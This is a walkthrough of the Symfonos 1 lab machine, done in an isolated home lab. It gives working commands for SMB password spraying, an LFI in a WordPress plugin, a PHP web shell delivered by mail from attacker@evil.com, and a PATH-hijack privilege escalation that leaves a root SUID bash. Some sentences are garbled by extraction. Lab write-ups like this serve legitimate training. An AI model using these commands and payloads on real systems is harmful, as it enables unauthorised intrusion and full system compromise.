A tidy chain that rewards reading everything the box hands you. An open Samba share leaks a password policy that is the password list; a hidden WordPress install carries a plugin with a file-read bug; that read primitive becomes code execution by poisoning a mail spool over SMTP; and a careless SUID helper that calls curl without a full path gives up root. No CVE-grade exploit needed past the LFI — the rest is misconfiguration.
Symfonos 1 is a Greek-mythology-themed boot2root where every step is a misuse of something left exposed. The path from unauthenticated outsider to root:
| Credential / flag | Value | Where |
|---|---|---|
| helios (SMB / web user) | helios : qwerty | anonymous share hint → helios share |
| foothold | uid=1000(helios) | site-editor LFI + mail poison |
| proof.txt | root shell (euid=0) | /root/ (as root) |
nmap -sT -sV -p- 192.168.56.131
# 22/tcp open ssh OpenSSH 7.4p1 (Debian 9)
# 25/tcp open smtp Postfix smtpd
# 80/tcp open http Apache httpd 2.4.25
# 139/445 open smb Samba 4.5.16 (WORKGROUP)SMB + SMTP + HTTP together is the tell: SMB usually holds the breadcrumb, SMTP is the delivery mechanism, and HTTP is where the payload fires. Enumerate the shares first:
smbclient -L //192.168.56.131/ -N
# helios Disk Helios personal share (auth)
# anonymous Disk (readable, no creds)
enum4linux -U 192.168.56.131 # user: heliosThe anonymous share maps without credentials. Inside is a single note:
smbclient //192.168.56.131/anonymous -N -c 'get attention.txt'
cat attention.txt
# Can users please stop using passwords like
# 'epidioko', 'qwerty' and 'baseball'! ← a ready-made password list
# -Zeushelios).Spray the three candidates against the helios share. The second one lands:
for p in epidioko qwerty baseball; do
smbclient //192.168.56.131/helios -U "helios%$p" -c 'ls'
done
# qwerty → research.txt, todo.txtsmbclient //192.168.56.131/helios -U 'helios%qwerty' -c 'mget research.txt todo.txt'
cat todo.txt
# 1. Binge watch Dexter
# 2. Dance
# 3. Work on /h3l105 ← hidden web path (leetspeak "helios")/h3l105 is a WordPress 5.2.2 install running the site-editor plugin. That plugin has an unauthenticated LFI — CVE-2018-7422 — in ajax_shortcode_pattern.php, whose ajax_path parameter is passed straight into a file read:
P=/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes
curl "http://192.168.56.131$P/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bashArbitrary file read as the web user — but read alone isn't a shell. It needs something attacker-controlled to read back.
Postfix on port 25 writes every delivered message to the recipient's mailbox at /var/spool/mail/<user> — a file the LFI can read. Mail helios a message whose body is PHP, then include the mailbox through the LFI with a command parameter:
# local mail domain is symfonos.localdomain, not symfonos.local
nc 192.168.56.131 25 <<'EOF'
HELO symfonos.localdomain
MAIL FROM:<attacker@evil.com>
RCPT TO:<helios@symfonos.localdomain>
DATA
Subject: pentest
<?php system($_GET['c']); ?>
.
QUIT
EOF
# 250 2.0.0 Ok: queued as 51FEB40B8Ecurl "http://192.168.56.131$P/ajax_shortcode_pattern.php?ajax_path=/var/spool/mail/helios&c=id"
# uid=1000(helios) gid=1000(helios) groups=1000(helios)...The web server itself runs as helios, so the first command execution already lands as the target user — no further pivot needed.
helios@symfonos.local with "Relay access denied". The server greets as symfonos.localdomain — matching the recipient domain to mydestination is what gets the message queued instead of bounced.A sweep for SUID binaries turns up a non-standard one in /opt:
find / -perm -4000 -type f 2>/dev/null
# /opt/statuscheck ← -rwsr-xr-x root root, custom binary
strings /opt/statuscheck
# curl -I http://localhost ← calls curl WITHOUT a full pathBecause it invokes curl by name, the lookup follows $PATH. Drop a malicious curl earlier in PATH, run the SUID binary, and your script executes as root. It copies a root-owned bash and sets it SUID:
# fake curl — note the -p on the shebang (see below)
printf '#!/bin/bash -p\ncp -f /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' > /tmp/curl
chmod 755 /tmp/curl
PATH=/tmp:$PATH /opt/statuscheck # fake curl runs as root
/tmp/rootbash -p -c 'id; cat /root/proof.txt'
# uid=1000(helios) euid=0(root)
# Congrats on rooting symfonos:1!curl must use #!/bin/bash -p — without it, bash drops the inherited root euid back to helios on startup and the copy ends up owned by helios. And set the SUID bit after any chown: changing ownership clears the setuid bit, so a chmod +s followed by chown silently un-SUIDs the file.PATH hijack, and one of the most common real-world privesc patterns.helios turned an LFI straight into interactive access as that account.PATH, and remove the SUID bit from anything that doesn't strictly need it.Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.